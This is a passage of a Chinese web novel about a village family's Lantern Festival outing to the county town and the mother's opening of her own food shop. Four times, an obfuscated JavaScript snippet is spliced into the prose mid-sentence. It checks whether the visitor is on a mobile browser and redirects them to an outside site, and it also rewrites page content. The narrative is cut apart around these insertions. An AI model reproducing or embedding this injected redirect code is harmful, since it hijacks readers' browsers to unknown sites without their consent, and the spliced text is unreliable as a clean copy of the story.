宝金不服输,继续劝说她:“啧!您这话讲的,就是因为年纪大了,才要趁现在走得动,多去看一看嘛!等到七老八十走不动了,只能躺在床上,想起自己都没啥有趣的回忆,那还活个什么劲儿?” 他把孙婆子的身子掰过来,严肃的正视她道:“我晓得您是为了钱的事才不愿意,但人活这一辈子,总不能老是被钱困住,您说是不是?” “整个家里面,我觉得您是最明事理、最通情达理的人了。”他给孙婆子戴高帽,继续讲道:“不说整个家,就是整个村子,您都是最好的婆婆,最好的阿嬷,就看咱们家从来都不闹矛盾,遇到事情一起解决,就晓得您这个领头人有多厉害了。就连开绣庄的姑父,都十分佩服您,说您有大智慧呢。” 孙婆子面上不动声色,实际心里还是乐开了花的,白了一眼宝金,骂他:“你少来。” “在你姑父身边跟久了,变得油嘴滑舌了都。” 宝金笑嘻嘻,“姑父说以后要让我做绣庄的掌柜,嘴皮子不利索可不行。” 然后又去摇她:“那您答应不?答不答应?” “钱的事您不用发愁,你们过年给我的压岁钱,我拿来请你们在酒楼吃饭。咱们一大家子除了姑姑嫁人的时候,还从来没有在酒楼吃过饭呢,而且那个时候还没有宝珍和宝珠,咱们这次聚一下,就当见见世面了。” 孙婆子闻言,拿手指在宝金额头上狠狠点一下,讲道:“你这般大了,也该好好存下钱来,以后拿去娶媳妇儿,莫这样大手大脚,身上一个子儿都留不住。” 说完再起身,长长吸一口气,妥协道:“去就去吧!省的你们觉得我是个老顽固,以后有好玩的都不带我了。” “另外也不需要你一个孩子花钱,阿公和阿嬷给你们出了。”她豪气地挥挥手,允诺了这桩事。 “哇啊……”躲在门边偷听的宝银、宝珍和宝珠,见自家大哥说通了阿嬷,全都纷纷跑出来,搂着孙婆子的腰和腿使劲蹭,狗腿子似的。 “阿嬷,你人真好!” “阿嬷,你就是村里最好的阿嬷!” “什么村里?是整个县城最好的阿嬷才对!” …… 最难讲话的孙婆子答应,那其他人的想法就不大重要了。 宝金带着三个趾高气昂的小家伙,一一通知了自家的爹娘,说明了情况,今晚全家不在老宅用饭,都进城里逛灯会! 李兰香听完,默默把宝珍和宝珠拉过来,严肃道:“是你们谁出的主意,去找阿嬷讲的。” 两姐妹我望望你,你望望我,默契地统一摇摇头,然后指着宝金道:“是大哥哥!” 于是宝金就这样背了个黑锅。 下午申时③,一家人就开始出发去县城。宝珍和宝珠还是坐的独轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340563|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车,因为罗水林元宵节当日还一个人在县城铺子里做活,所以就由大伯罗水森推着她俩走,其余人都走路过去。 等走到县城,已经快到酉时④,冬日里的天黑的早,太阳开始西落下去,只留半边脸和一抹金色的余晖在天边。 一家人先是去了食铺,找罗水林碰头。把家里带来的独轮车放铺子里,接上了罗水林,再一起去找酒楼吃饭。 元宵节当日十分热闹,街上人流如织,摩肩擦踵,城中有许多人家不愿意做饭,都是定好席面,直接在酒楼用饭庆节的。 大人们连着询问了好几家酒楼饭馆,都没有空的位置了。宝金和宝银一人拉着一个妹妹,跟在他们屁股后面转。 在问了五家酒楼都碰壁之后,总算是问到一个还有余位的饭馆子了。 这家饭馆在医馆药铺茶店那条街上,许是因为过年这边铺子都没开门,所以才冷清一些。 伙计见人多,便引他们上了二楼,坐在一张大圆桌上。 宝珍和宝珠望一望,见桌子靠窗,正符合她们的心意。宝珠还大胆询问伙计道:“晚上这条街会点灯么?” “点!那必须得点呀!”伙计乐乐呵呵的,告诉这个小娃娃:“城中今晚到处都点灯呢,只是还不到时辰。过一会儿等天黑下来,就会有专门管理市场的市啬夫来点灯,到时各处都亮汪汪的,跟白天里一样。” 听到会点灯,宝珍和宝珠互相握着小手,高兴地蹦跳起来。 伙计给了他们菜单子,孙婆子一看价钱,节日里吃饭果然贵价,连平日里常吃的菜蔬,都要高上几分铜板子。 不过肉疼归肉疼,好不容易出趟门,加上又是过节,还是不能太吝啬。于是便点了焖肘子、葱姜鸡、酥炸黄鱼、虾米冬瓜粉丝煲、萝卜肉丸汤、清炒荠菜六道菜。 往年在家过元宵,自己做菜肯定不止这么点,但是算一算价格,孙婆子还是询问道:“你们家份量大不大?” 谁家开食铺能承认自家菜份量不足么,伙计立马保证道:“那绝对大!” 又见这一家子人穿着都不富贵,猜测应该是乡下来看灯会的乡民,所以舍不得钱。伙计自己也是穷苦出身,倒是能理解,不过见十口人只点六道菜,怕掌柜讲他,于是又笑嘻嘻地推荐道:“阿婆,今日元宵,您看要不要再加一个芝麻汤圆甜甜口,正好庆下节呀?” 孙婆子还在犹豫,罗老头就拍板了,“那就听你说的,来一个吧。”这是想到家里还有几个娃娃呢,他们爱吃汤圆。 “哎!”伙计听见,高兴地应了个喏,便高高兴兴地跑下楼,给他们到后厨点单去。 等菜的功夫,天慢慢黑下来。宝珍和宝珠因要看灯,特意选的挨窗边坐,把脑袋探出窗外去瞧,看有没有人来点灯。 酉正⑤,有穿着酱红衣裳的市啬夫拎着长棍,慢慢从街头开始,将灯笼从彩绳上勾下来,然后用随身带的火折子把里头的蜡烛点燃起来,再重新挂上去。 两姐妹望着下头,从街头起,灯笼依次亮起,各式各样的花灯笼、圆灯笼、鱼或兔样子的灯笼,全都挂在街中间、楼中间的彩绳上面,火光透过纸或纱做成的灯罩子射出来,映得整个街面都亮堂堂、暖融融的。 街上有许多的人儿在走动,不少穿着漂亮服饰的女孩儿家和美丽妇人,提着灯笼在逛着。有担一捆草棍,上面插着糖葫芦的人在叫卖,还有提着竹篮子,里面装了梅花的姑娘家在问询,是否有人要买她的花儿。 “东风夜放花千树。更吹落,星如雨。”宝珍喃喃道,前世读过的诗中的情景,这一世竟然亲眼见到了,怎能叫人不激动。 菜色一样一样上上来,但席面上的人都没有什么心思去吃,纷纷跑到窗子边来看热闹。 “哇!好多灯笼!好多人!好漂亮!”宝珠张开嘴巴,眼睛里映照着火光,惊喜地瞧着街上。 “这那还算热闹呀。”伙计把菜端上来,过来瞅了一眼下边,然后说道:“你们等着吧,等晚点儿更热闹,会有舞龙的人来,从这条街舞到另一条街,要走遍城里呢。另外还有踩高跷的杂耍人,站起来能顶到二楼,还有耍猴子的,旋盘子的,各种各样的杂耍,一路演过去,那才叫热闹呢。” 82. 灯会 等菜全上齐,孙婆子招呼看灯的大家伙儿吃饭,众人这才把目光依依不舍地从窗边挪开,齐聚到桌前吃团圆饭。 圆桌上摆着六道菜兼一道甜品,如酒楼伙计说的那般,果真份量够足,且色香味俱全,这也让花钱肉疼的孙婆子心里舒坦不少。 中间摆的大彩瓷汤碗里飘着白胖的浮元子,上面撒了一层金黄的干桂花。孙婆子怕人多不够分,就将四个娃娃的碗拿来,率先给他们一人盛了几粒,“喏,你们几个爱吃的汤圆。” 宝金两兄弟和宝珍两姐妹依次称了谢,一家子纷纷开动筷子吃起来。 盘中的焖肘子炖的烂糊,轻轻一夹便骨肉分离,颤巍的皮儿丝毫不腻,都不用多加咀嚼,轻轻一吸溜就滑到了嗓子口;瓷实的肘肉经过长时间的炖煮同样软嫩,不会让人吃起来梗脖子。 李兰香因要开食铺,吃饭时免不了在心中暗自点评,看自己的手艺是否与其他酒楼的师傅比起来有欠缺。她吃下一块肘肉,想道:葱姜与花椒、冰糖、豆酱的份量搁少了,因此里面的肉没有完全入味,滋味稍显寡淡。 不过葱姜鸡与酥炸黄鱼做的十分好,姜是用的特地从岭南运来的沙姜,自带一股独特的混合芳香,且辛辣味不重,口感柔软,不似其他饭馆为图便宜就用嫩姜代替,味道淡雅不说,还不能压住鸡味、突出鲜味,光选食材这一点就赢过了不少酒楼师傅。 小黄鱼是小鲜,一路从近海打捞上来,用船只活运到这里。师傅对火候的把控好,外层面衣酥脆,里头鱼肉多汁,连鱼刺都炸透了,完全不用担心卡喉咙。只不过小黄鱼要在清明与谷雨时节间才最肥美,所以桌上的这盘酥炸黄鱼都略显瘦小,一盘子约有十一二只,应只有两斤左右。 其余的虾米冬瓜粉丝煲、萝卜肉丸汤、清炒荠菜都较寻常,没有太大的亮点。 李兰香将菜一一细尝过去,大概知道这家酒楼师傅的手艺:善煎炸、选材好,火候的把控非常到位;不足之处在于调味小心、不够大胆,不擅长炒烧和焖炖的烹饪手法。 这让她稍微放下心来,看来自己并没有太过自大,还是有亮点可循的,同样也对自己独立开食铺更加的有把握了。 吃过饭结账,孙婆子本想她来结,结果被家里四个小的拦住,驱使自家爹娘赶紧去付钱。一桌共七道菜,付了近一两的银子,可把两个老人心疼的呀,嘟囔说下次再不赶节庆外出用饭了,瞧新鲜的劲儿一生来上一次便够。 酒楼的伙计开心地引他们去另条街,说是舞龙的人马上就要开始,叫他们赶紧去看。 宝珠年纪小,若是走在路上,那就只有看行人屁股的份儿了,于是罗水林把她架在肩膀上,这样不但可以瞧到热闹,还不用怕人多走散。李兰香将宝珍抱怀里,其余的两兄弟大了,就自己跟在大人们旁边优哉游哉地走,左顾右盼,眼睛都瞧花了,实在不够用。 街上的人们均着盛装,打扮的一个赛一个漂亮,走过他们身边,能隐约闻到阵阵香风。 人群中时不时能遇见有小娃娃提一个莲花灯笼或者柿子灯笼,牵着自己父母的手在走着。 更华丽一些的也有,给身上画着各色彩绘的兔子灯笼底部安上四个木滚轮,只要娃娃拽住绳子就能拖着走;另外还有可以举在手上的金鱼灯,不晓得工匠是咋个做的,还能随风左右摆动,把宝珍和宝珠的眼睛都给看直了。 正边走边瞧着,城中主街忽然有一群少年人冲出来,手里全部举着鱼灯,这是嬉鱼出街了。他们沿着街巷跑动,呼呼啦啦地一大伙人,身后还跟着敲小鼓和打擦的,丁零当啷哐哧作响,手里鱼灯光彩流动、变幻无穷,热闹的不得了。 街上的行人纷纷避让到两边的店铺檐下,等嬉鱼队伍过去,后面又跟上了舞龙队。于是罗家人全部停下脚步,守在街边驻足翘首观看。 整条龙十分庞大,约有二十个穿着红衣的青壮在操纵。巨龙的头部宏伟,眼睛熠熠生辉,张着大嘴的样子很是霸气,身上画满了金红相间的龙纹。青壮们时高时低地操纵着它倒腾跳跃,不停舞动,从这条街到那条街一路游过去。 “蒋大哥!是蒋大哥!”宝银眼睛好使,一下就瞄到了舞龙队伍里的蒋多福,跳起脚来招手,“蒋大哥,是我们呀,我们在这里!” 蒋多福被他的声音吸引住,手中不停,眼睛看过来,见到是李家人,便高高的吆喝一声:“诶!恭贺新禧呀!”然后又笑着随队伍游走了。 最后边是一队踩高跷的杂耍人,穿着各种戏曲的行头,扮演不同的神话或历史人物,脸上画着夸张的油彩,拿着刀枪和扇子,踩在高高的高跷上,且还能做出颇具难度的动作。宝银认真看了,惊讶道:“果真有二层楼高呢。” 在这三队人过去时,人们全都欢呼雀跃,不停喝彩,楼上吃饭的有钱人家还会探头出来,往下面撒糖块和彩绢,沿街的铺子里则会拿鞭炮出来打,预示迎接新一年的福气。 等热闹过去,行人们恢复原状,继续往河边走,每年元宵节都要去送花灯和上桥走百病的,罗家人听了伙计的介绍,因此也跟着去。 县城的城东和城西间夹着一条河,上面架了一座石拱桥和一座石板桥。罗家人到时,河中已经有不少人放了莲花灯下去,晃晃悠悠地漂在水面上,映照的河流如同头顶的天幕一般,水为夜色灯为星,美丽而浪漫。 河边摆了不少摊子,全是卖莲花灯的小贩,石拱桥上也有书生,悬起明亮的灯笼,挂了灯谜在木架子上,供人花钱去猜,若是猜中了,就能选一盏拿走。 宝珍宝珠被自家爹娘放下地,跟大哥哥和二哥哥过去凑趣。 猜灯谜的摊子前聚集了不少人,都是做富贵人家或者读书人的打扮,猜灯谜需十文一次,交了钱便在架子上抽题,难度不一,有人猜一次便中,有人猜十次才能中一次。 宝珍见到一个带着侍女的漂亮姐姐交了钱抽题,便凑过去看,听到她念谜面:“当路一颗麻,下雨开花,刮风结子①。猜一物品。” 少女应是猜不出,眉头紧紧皱起,宝珍同样猜不着,听得云里雾里。 时间一到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369713|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摊主将她的谜面收回,重新挂上木架。她不服输,便又拿了三十文钱,一口气买了三个灯谜来猜。 第一个灯谜是:“长手小儿郎,吹箫入洞房。爱吃红花酒,拍手命丧亡②。”这是猜一活物。 第二个灯谜是:“偶因一雨蒙抬举,反被多情又别离。送得郎君归去也,倚门独自泪淋漓③。”这也是猜一物。 前两个灯谜太难,少女一样都没猜中,不由得泄气,幸好抽中的第三个谜面简单,只写有四个字:“何火无烟④?”也是猜一活物。 宝珍想了想,脑中有了答案,见少女还在思虑,便凑上前轻轻提示道:“是萤火虫。” “萤火虫!”恰巧少女茅塞顿开,与宝珍同时开口,“这个灯谜的谜底是萤火虫!” 她高高兴兴地将灯谜还与摊主,迫不及待地询问道:“这下没错了吧?” 摊主在她这儿挣了四十文钱,早已超过灯笼的价格,见她猜中,就乐呵地取下她指的一只南瓜灯给她,应道:“没错,是萤火虫。” 宝珍在旁边轻笑,为她高兴,然后准备到摊子另一头,去跟大哥哥宝金他们集合。 忽然间从身后递过一只南瓜灯,顺着手望去,正是那个猜灯谜的漂亮少女。宝珍愣愣地望住她,不晓得她是何意。 少女见状“噗嗤”一笑,蹲下身与宝珍眼睛平视,接着伸出另一只手来捏捏她的脸颊,爱怜地说道:“喏,送与你。” 刚刚她在猜灯谜时就注意到跟在脚边的这个女娃娃了,听到她念谜面,还会跟着一起想,皱巴着小脸的样子可爱得紧。最重要的是,这个小娃娃还怪聪明的呢,居然能跟她一同猜中最后一道谜语。 少女见宝珍不接,又握住她的小手,把掌心打开,然后将南瓜灯的提竿塞进她手里,“你猜中了谜,姐姐送与你的。” 不等宝珍推辞道谢,少女就起身招呼侍女,随着人流远走了,只留宝珍提着南瓜灯在原地。 “诶,你哪儿来的灯笼?”宝银找过来的时候,见她手里有盏灯,惊讶地叫起来。刚才他跟大哥哥和宝珠花了十文钱猜谜都没猜中呢。 宝珍回过神,咧嘴笑道:“别人家送我的。”这个时候她的小孩儿心性冒出来,把南瓜灯笼举到脸前,冲宝银炫耀道:“好看吧?” “好看。”宝银老实地点点头,心中嘤嘤:怎么没好心人送我灯笼。 一家人汇合,赏了河灯,在桥上走过百病,不知不觉间,时辰已将近亥时。 本想在城中留宿,但问过好几家客栈全都客满,实在是今日节庆,城外太多人进城过节,早早就定了房,没了。 孙婆子便叫宝金去车马行赁了一辆驴车,叫人连夜送他们回村。还是因节庆的缘故,平日里租车最多花四十文,这下居然花出去双倍还多,一百文才有人愿意送,不过没办法,总不能露宿街头吧,只能吃下闷亏。 孙婆子肉疼归肉疼,但好在今日灯会,叫他们瞧了个新鲜,等回了村,可要将它作为谈资,好好馋一馋村里的其他婆子妇女才行。 83. 修葺铺子 好雨知时节,当春乃发生①。 过了元宵就到了雨水节气,前几日起便一时一时的落下蒙蒙细雨,到今日才出晴。 河边的柳枝开始萌发新芽,长出了米粒般大小的嫩黄芽孢,家中院落的石板缝里面,也探出一蓬蓬葱绿的细草来。 罗水林依旧早出晚归,日日不休。县城食铺的修葺已初具雏形,李兰香去见过,心下还算满意,只等新砌的墙体与炉灶牢固了,便可以开始铺设竹片与地板,让桌椅入场,再将旧的门头撤去,换上新的招牌与门窗。 前头打铁的江家夫妇为省房租钱搭的二楼如今也大变样,被罗水林和请的师傅改造过后,空间扩大了不少,并且在木地板上画好线,钉了四尺宽、六尺长、约一寸厚的板子上去,这样便成了一张简易的矮床,与地板隔绝开,干净一些。 再请大哥罗水森打了一行矮柜拿来放衣裳,把柜子摆上后粗看下,倒是有点房间的样子了。不回家的日子里,李兰香或是罗水林就可以睡在食铺中,不用在城中另租房住。 宝珍给李兰香提建议,让她买些水墨画儿挂在食铺的墙上,这样雅致些。 “哪用得着那么雅致。”李兰香不以为意,“又不是开来给富贵子弟享用的,你娘我做的是贩夫走卒和平常百姓的生意。若是吃饭的地儿搞得太漂亮太花哨,人家一见,便吓住不敢上门了。” 宝珍听完一噎,这倒是实话。想到前世她兜里没钱,在外面见到装修好看些的店铺都躲得远远的,不敢往人家门前过,只敢去那种拿着大喇叭吆喝“两元两元!通通两元!”的小店里买东西。 真是没想到,自家娘亲大字不识几个,却还晓得针对客户群体挖掘他们的痛点嘞。宝珍想,这应该就是他们从生活中领悟到的智慧吧。 不过,说是这般说,但食铺中若真没点陈设就显得太单调了。宝珍冥思苦想一晚,第二日就有了好主意。 食铺墙上贴了竹片,比较有古韵,看起来质朴且简洁,既然不想做阳春白雪挂水墨画儿,那就做下里巴人,取天然材料来制作些小物件儿,进行装饰。 去岁中秋节那会儿宝珍与宝珠串了不少草珠子,现下全都搜集来,再去问大伯伯罗水森要废弃的木材,让宝银帮忙锯成圆形或方形、异形等不同样子,然后用凿子在木板上凿洞凿出花样子,拿小锤将草珠子沿洞敲进去,如此这般,便成了一副用草珠子做成的抽象木版画。 宝珍空有想法,动手能力却没那么强,只好拜托宝银来做。宝银呢,也还没学出师,只会凿些简单的兔子花样、鸭子花样、老虎花样等,两兄妹凑到一堆,真个是不倒翁沏茶——没水平。 等到把草珠子敲完镶嵌进去,做出来的木版画那叫一个滑稽。宝珍和宝银对着笑了半晌,眼泪水都笑出来了,真的是太丑了,太丑了! 不过嘛,再认真瞧一瞧,丑中又带有童趣,倒不是全无可取之处,至少人见了,还会夸上一句:有想法! 宝珍把做好的几幅草珠子画带回家给李兰香,让她挂在食铺的墙上。 “你确定能挂上去?”李兰香见了,“嘿嘿嘿”地猛笑一阵,气都喘不匀:“这个……哈哈哈,这个挂上去,人家吃饭……饭都要笑喷出来的。” 宝珍撅起嘴,她自己也晓得这个画儿丑,但也没到娘亲说的这种地步吧,于是反驳道:“哪有!”她拿手指头一一点过几幅画,问李兰香:“你看,这是啥子动物,你认不认得出?” “唔,这个……这个是鸭子吧?”李兰香蹙眉看画,这动物头前面有个突出来的扁扁嘴,一双脚下爪子只有三个,应是鸭子没错了。 “对,是鸭子。”宝珍又指另几幅画,严肃地询问她:“那这些呢?” 李兰香认真端详片刻,答道:“这个是几朵花儿,是啥子花……我还认不出。这个嘛……哦,这个是兔子,有长耳朵和圆尾巴。” 最后一个,李兰香见着它怪模怪样的,尾巴长长,快翘到天上去了,脑门上填了个“王”的样式,于是犹豫地猜道:“老虎?” “对哇!”宝珍把草珠子画放下来,拍着手笑道:“你看,这不是很好认么,你全都认出来了。” ‘认是认出来了,但还是丑啊。’李兰香腹诽道,嘴巴里并没说出来,毕竟娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408899|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃也是一片心意,想给他们分忧嘛。 “真的,娘你信我嘛。”宝珍抱上李兰香的腰,撒娇摇她,“人家一见画,肯定会对咱们家食铺有印象,而且墙上太空了,不放点东西不好看。” “哦哦哦~”李兰香被她摇的左右晃,心道:‘当然有印象,人家来咱们店里吃过一次饭,下次来就会说:是那家挂丑画的食铺。’ “好啦好啦,挂挂挂!”李兰香觉着,这倒也可以当做一种店铺特色吧,至少来一次就能记得住。于是答应道:“娘都听你的。” 除了做草珠子画,宝珍还偷偷拜托了大伯娘葛月红,问她能不能帮忙编竹斗笠。 葛月红拍胸应道:“当然会,竹斗笠做起来又不难,宝珍你就看着伯娘给你编个顶好看、顶漂亮的斗笠出来!” “诶,伯娘等一下等一下。”宝珍拉住她,然后附耳过去,悄悄跟葛月红耳语:“我要这般做……” 宝珍借鉴的是后世见过的竹编笠帽吊灯,不是常见的圆柱形灯笼,而是做成如斗笠一般的尖锥形,竹篾间留有空格,且尽头处不编全,就让竹篾伸出来散开,再进行修剪。 做出来的笠帽吊灯与墙上的竹片相呼应,更能给食铺添一份自然与古朴。吊灯下安装三脚形圆筒蜡架,再用麻绳吊于每桌的屋梁上垂下来,等晚间点上烛火照明,应是很美的。 她越想越乐滋滋。葛月红听了同样震惊,大咧咧地问道:“哎哟我的宝珍乖乖哟,你咋想到的?有这个头脑,光做灯你也能挣一笔嘛。” 宝珍有些不好意思,这想法可不是她自己想到的,于是只好扯谎道:“伯娘,我只与你一个人说,是上次我在家里玩火,不小心把我爹爹的竹斗笠烧坏了,这才想到这个法子的。你可千万不要跟他们讲哦,要不然我要挨我娘的手板子!” “嗯嗯嗯!不讲不讲!”葛月红偷笑,果然还是个娃娃,惹祸怕骂,“伯娘嘴巴可严实了,谁都不讲,就连你大伯伯,我也一个字都不跟他提,好伐。” “啵!”宝珍搂过葛月红的脖子,响亮地在她脸上亲一口,笑嘻嘻地道:“我就晓得伯娘疼我。” 84. 食铺开业 二月二,龙抬头。 经历了半个多月的操劳,李兰香心心念念的食铺终于是修葺好了。 孙婆子还特意去土地庙问了神,说是龙抬头、好兆头,便定下了二月初二这一日,兰香食铺正式开业! 关于这食铺的起名也有一番讲头,刚开始本是打算叫“罗家饭馆”的,李兰香倒也没有异议,毕竟她自个儿还是罗家儿媳么。 却没想到宝珍这小家伙不干了,在桌上直接叫板道:“既然能叫‘罗家饭馆’,为什么不能叫‘兰香食铺’呢?既合了娘亲的名字,听起来还好听些。而且……而且,这个食铺本就是娘亲想开,又是她要辛苦许多的……” 宝珍越讲越小声,她虽然觉得自己说的有理,但这毕竟不是前世。在古代,女人嫁了人就是要从夫的,甚至还要冠上夫姓,所以李兰香才不会对铺子名字产生不满,而是觉得理所应当。 “反正,我觉得叫‘兰香食铺’要更好些。”宝珍轻声辩驳,她不想跟自家爹娘讲那么多后世的大道理,女人要当家做主这种话。因为就算是讲了,他们听不懂也无法理解,讲也是白讲。但是呢,不说一下自己的想法,她也同样不得劲,所以还是小小的为娘亲争取一下。 罗水林和李兰香正夹菜吃呢,听了宝珍的话后同时愣住。 其实他们这个食铺的名字就是随便取的,就跟江家夫妇和姐夫钱荣昌一样,打铁的就叫“江家打铁铺”,绣庄就叫“钱家绣庄”,都是取店主的姓加上铺子的性质或功能,两者结合而成的组合,根本没有想太多。 罗水林听罢,拿手肘拐戳李兰香,冲她谄媚一笑:“瞧你女儿,多向着你。” 然后又假装吃醋,酸溜溜地问:“那爹爹前期修葺铺子也很辛苦啊,怎么宝珍不说要叫‘水林食铺’,难不成是觉得爹爹的名字太拿不出手啦?” “咳咳咳……”宝珍没想到自家爹娘完全不在意,甚至还与她演戏逗她,一时被饭呛住鼻子,咳嗽起来。 “哎哟!”李兰香赶紧下桌来给她拍背,等缓过这阵,她骂罗水林:“吃饭都不像样,作弄娃娃。” 又美滋滋地自吹自擂:“我觉得宝珍说的挺对,我名字本来就比你好听些,铺子要是叫‘水林食铺’,那也太土了。” “咳咳咳……”这下宝珍是真的被笑呛住了,自家爹娘实在是有点可爱呀。 李兰香一边给她拍背一边跟罗水林商量:“既然想换名字,那要不然叫‘珍珠饭馆’、‘珍珠食铺’?取咱们家宝珍宝珠的名字,反正以后也是要交给她们俩的。” “都行啊。”罗水林笑嘻嘻地答应,拿手去刮旁边只顾着吃饭的宝珠的鼻子,开玩笑道:“叫‘两宝食铺’我觉得也行,哈哈哈。” 不过这些提议都被宝珍拒绝了,理由是:叫珍珠食铺什么的,听名字感觉不像是吃饭的地儿,更像是金楼银楼买珠宝首饰的店铺,而且两宝食铺也太腻歪了些,听着就奇怪。所以最后拍板,名字就取为“兰香食铺”! 二月初二这一日,家中所有人起了个大早,县城的宝金给他们叫了驴车来接,只要人到齐,带上写了店名蒙着红布的牌匾来就好。 罗水花备好了鞭炮、香与烛和糖块、贡品等,已经带着宝金在铺子门口等着了,姑父钱荣昌则因为月初要去府城进绣庄所需的丝线,所以还没回来。 等家里人一到,取钥匙开锁链,将门栓和铺板取下,众人全都一惊,实在是食铺装饰的太过好看了,在别处见都没见过。 迎面的门头采光充足,边上有两扇小门雕着花窗,再将花窗放下用锁链固定住,食铺内就更亮堂了。脚下的地面平整过后铺了大块的青石地板,干净的泛着光。墙面上贴了剖开的竹片,一路直通到屋梁上;屋梁上又吊下六盏造型别致精巧的竹灯,悬于每张桌子的上方,以供夜间照明使用。铺子内部摆了两两相对的六张长木桌,都是用浅色松木打成的,抛光过后上了一层熟桐油,既可以防污,又可以防虫。整个店看起来,透着一股质朴简洁又巧妙的感觉。 再一细瞧,竹片墙上还挂了几幅滑稽可爱的木版画,更给食铺平添了几分稚趣。 众人边看边赞叹,摸摸这儿又摸摸那儿,稀罕的不得了。孙婆子更是讲道:“乖乖,这修葺的,比咱们上次元宵吃饭的酒楼还漂亮嘞。” 食客们用饭的厅堂与做菜的灶房是隔开的,砌了一堵新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439274|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙,这样便能隔开油烟,不至于串味儿。墙上开了一个大的方形的窗口,用木板做了可以推拉的小门,若是李兰香做好一道菜,便能打开窗口递出去,让罗水林送到食客的桌上。 厅堂与灶房设了一道进出的门廊,用草珠子串成的门帘挡住,这样既好看,又可以借一些光进去,省得灶房太昏暗。 灶房里面的井还在原处,用木头打了一副辘轳架在上头,要吊水上来时,只需把系了绳子的桶子放下去,再摇动手柄转上来便可。做饭的灶是新砌的,共架了三口铁锅,可以边蒸边煮边炒,忙时也能应付。美中不足的是,由于上面二楼铺了木板拿来住人,所以光照不算好,必须将后门打开照进光来,才能亮堂些。 大家伙儿瞧完新鲜,便开始准备开业的事项。孙婆子先指挥罗水林端桌子出去摆香案,然后把烧猪肉、蒸鸡、糕饼、红鸡子、柿饼、熟面条六样贡品摆出来,再点上香和红烛,燃起鞭炮,最后让李兰香站在香案前面,带着众人拜神。先拜天帝、再拜土地、最后拜财神,祈求四方诸神,保佑食铺往后客似云来,财运亨通。 拜过神,罗水花领着四个娃娃去给这条街上的其他铺子散糖块,喻意告知新店开业,望多多照顾。罗水林他们则是将蒙着红布的牌匾挂到门头上,等装好后再让李兰香扯下布来。 “兰香食铺。”大家伙儿认字不多,但这几个字已经非常熟悉了,牌匾是大哥罗水森雕刻的,然后请人上金漆,雕好的四个字儿非常漂亮,边缘还围了一圈如意云纹。 拜了神挂了匾还不够,孙婆子又领着李兰香去到灶房,把随身带的两个红布包拿出来,红布包里头一个装着家里灶中铲来的草木灰,一个装着去岁收的稻米粮食。 然后撒草木灰画五个圈儿,大圈套小圈,围单不围双,再把粮食放于圈中间,这是在祭灶神,祈祷新年丰收。 等祭完灶神,就全部完成,便可以动火开锅做饭了。 第一顿是做与自家人吃,煮的是龙须面,正好应个节。另为了让客上门,宝金头三日都会过来帮忙招揽,且定了进门食饭送乌梅饮子的活动,如此这般促销,还是宝珍给李兰香出的主意,只是不晓得奏不奏效。